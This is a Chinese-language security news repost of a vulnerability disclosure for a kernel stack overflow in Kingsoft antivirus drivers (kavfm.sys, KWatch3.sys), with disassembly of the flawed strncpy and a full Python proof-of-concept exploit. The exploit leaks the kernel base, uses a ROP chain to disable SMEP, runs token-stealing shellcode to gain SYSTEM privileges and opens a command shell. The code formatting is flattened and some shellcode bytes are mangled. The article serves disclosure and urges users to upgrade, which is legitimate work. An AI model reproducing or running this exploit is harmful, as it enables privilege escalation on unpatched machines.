漏洞总结
下文介绍了在金山毒霸/ Internet Security 9+中发现的一个能导致权限提升的内核堆栈溢出漏洞。金山毒霸为用户免费提供高效的安全保护解决方案。 它将云安全技术应用于监视,扫描和保护您的系统,让你的系统安全无忧。这种综合病毒防御工具可以让你的电脑免受有害的病毒、蠕虫和特洛伊木马的侵害。由于其简单易用,用户可以很轻松地使用金山毒霸。
漏洞来源
一个独立安全研究者,Steven Seeley,在Beyond Security的SSD项目中公布了这个漏洞。
厂商回应
从2017年十月8日起,我们就尝试着联系着金山公司,试图与其建立联系但没有得到回应。当前,这个漏洞没有任何解决方案。
漏洞细节
此漏洞允许本地攻击者在容易受感染的 Jungo WinDriver 上升级特权。
在处理 IOCTL 0x80030004 或 0x80030008 时,金山毒霸的kavfm.sys(反病毒)或KWatch3.sys(互联网安全)内核驱动程序中存在特定的缺陷。驱动程序没有正确验证用户提供的数据,这可能导致内核堆栈缓冲区溢出。
攻击者可利用此漏洞在内核环境下执行任意代码。
;jumptable000117C1case0 .text:000117C8loc_117C8: ;CODE XREF: sub_11790+31 .text:000117C8 .text:000117C8push ebx;our input buffer size .text:000117C9lea ecx,[esp+58h+var_40];thisisafixed size stack buffer of0x40 .text:000117CDpush edi;our input buffer .text:000117CEpush ecx;char * .text:000117CFcall strncpy;stack buffer overflow .text:000117D4add esp,0Ch .text:000117D7lea edx,[esp+54h+var_40] .text:000117DBpush edx;char * .text:000117DCmov[esp+ebx+58h+var_40],0 .text:000117E1call sub_167B0 .text:000117E6pop edi .text:000117E7mov esi,eax .text:000117E9pop esi .text:000117EApop ebp .text:000117EBpop ebx .text:000117ECadd esp,44h .text:000117EFretn8 |
POC
import sys from ctypes import * from time import sleep from ctypes.wintypes import * import struct import os from random import choice kernel32 = windll.kernel32 ntdll = windll.ntdll MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0 def get_ioctl(): returnchoice([0x80030004,0x80030008]) def alloc_shellcode(base,input_size): """ allocates some shellcode """ print"(+) allocating shellcode @ 0x%x" % base baseadd = c_int(base) size = c_int(input_size) # --[ setup] input = struct.pack("<I",0x000506f8)# bypass smep # --[ setup] input += "`"# pushad input += "d¡$"# mov eax, fs:[KTHREAD_OFFSET] # I have to do it like this because windows is a little special # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80. input += "@p"# lea eax, [eax+0x70]; input += "@"# mov eax, [eax+0x10]; input += "Á"# mov ecx, eax (Current _EPROCESS structure) # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += "ü"# mov ebx, [eax + TOKEN_OFFSET] # --[ copy system PID token] input += "º"# mov edx, 4 (SYSTEM PID) input += "¸"# mov eax, [eax + FLINK_OFFSET] <-| input += "-¸"# sub eax, FLINK_OFFSET | input += "9´"# cmp [eax + PID_OFFSET], edx | input += "uí"# jnz ->| # win 10 rs2 x86 TOKEN_OFFSET = 0xfc # win 07 sp1 x86 TOKEN_OFFSET = 0xf8 input += "ü"# mov edx, [eax + TOKEN_OFFSET] input += "ü"# mov [ecx + TOKEN_OFFSET], edx # --[ recover] input += "a"# popad input += "Ä"# adjust the stack by 0xc input += "1À"# return NTSTATUS = STATUS_SUCCESS input += "Ã"# ret # filler input += "C" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int,POINTER(c_int),c_ulong, POINTER(c_int),c_int,c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) ifdwStatus != STATUS_SUCCESS: print"(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff) returnFalse written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written)) ifwrite == 0: print"(-) Error while writing our input buffer memory: %s" % write returnFalse returnTrue def alloc(base,input_size,ip): baseadd = c_int(base) size = c_int(input_size) input = "D" * 0x40# offset to ip # start our rop chain input += struct.pack("<I",nt + 0x51976f)# pop ecx; ret input += struct.pack("<I",0x75757575)# junk input += struct.pack("<I",0x76767676)# junk input += struct.pack("<I",ip)# load 0x506f8 input += struct.pack("<I",nt + 0x04664f)# mov eax, [ecx]; ret input += struct.pack("<I",nt + 0x22f2da)# mov cr4,eax; ret input += struct.pack("<I",ip + 0x4)# &shellcode # filler input += "C" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int,POINTER(c_int),c_ulong, POINTER(c_int),c_int,c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) ifdwStatus != STATUS_SUCCESS: print"(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff) sys.exit() written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written)) ifwrite == 0: print"(-) error while writing our input buffer memory: %s" % write sys.exit() def we_can_trigger_overflow(): GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 IOCTL_VULN = get_ioctl() DEVICE_NAME = "\.KWatch3" dwReturn = c_ulong() driver_handle = kernel32.CreateFileA(DEVICE_NAME,GENERIC_READ | GENERIC_WRITE,0,None,OPEN_EXISTING,0,None) ip = 0x24242424 inputbuffer = 0x41414141 inputbuffer_size = 0x60 outputbuffer_size = 0x1000 outputbuffer = 0x20000000 alloc(inputbuffer,inputbuffer_size,ip) alloc_shellcode(ip,0x100) alloc(outputbuffer,0x100,ip) IoStatusBlock = c_ulong() ifdriver_handle: print"(+) sending stack overflow..." dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), IOCTL_VULN, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) returnTrue returnFalse def we_can_leak_the_base(): """ Get kernel base address. This function uses psapi!EnumDeviceDrivers which is only callable from a non-restricted caller (medium integrity or higher). Also the assumption is made that the kernel is the first array element returned. """ globalnt print"(+) enumerating kernel base address..." array = c_ulonglong *1024 lpImageBase = array() szDriver = array() cb = sizeof(lpImageBase) lpcbNeeded = c_long() res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase), sizeof(lpImageBase), byref(lpcbNeeded)) ifnotres: print"(-) unable to get kernel base: " + FormatError() sys.exit(-1) # nt is the first one nt = lpImageBase[0] & 0x00000000ffffffff returnTrue def main(): print" --[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]" print" Steven Seeley (mr_me) of Source Incite " ifwe_can_leak_the_base(): print"(+) found nt base at 0x%08x" % (nt) ifwe_can_trigger_overflow(): os.system("cmd.exe") else: print"(-) it appears that kingsoft Internet Security is not installed!" if__name__ == '__main__': main() |
受该漏洞影响的是金山毒霸9,目前国内金山毒霸版本已更新至11,国外版本更新情况不明。如有金山毒霸9或10版本用户,请及时升级杀毒软件,以免受到攻击。
安全优佳
http://news.secwk.com
长按识别左侧二维码,关注我们
本文始发于微信公众号(安全优佳):金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论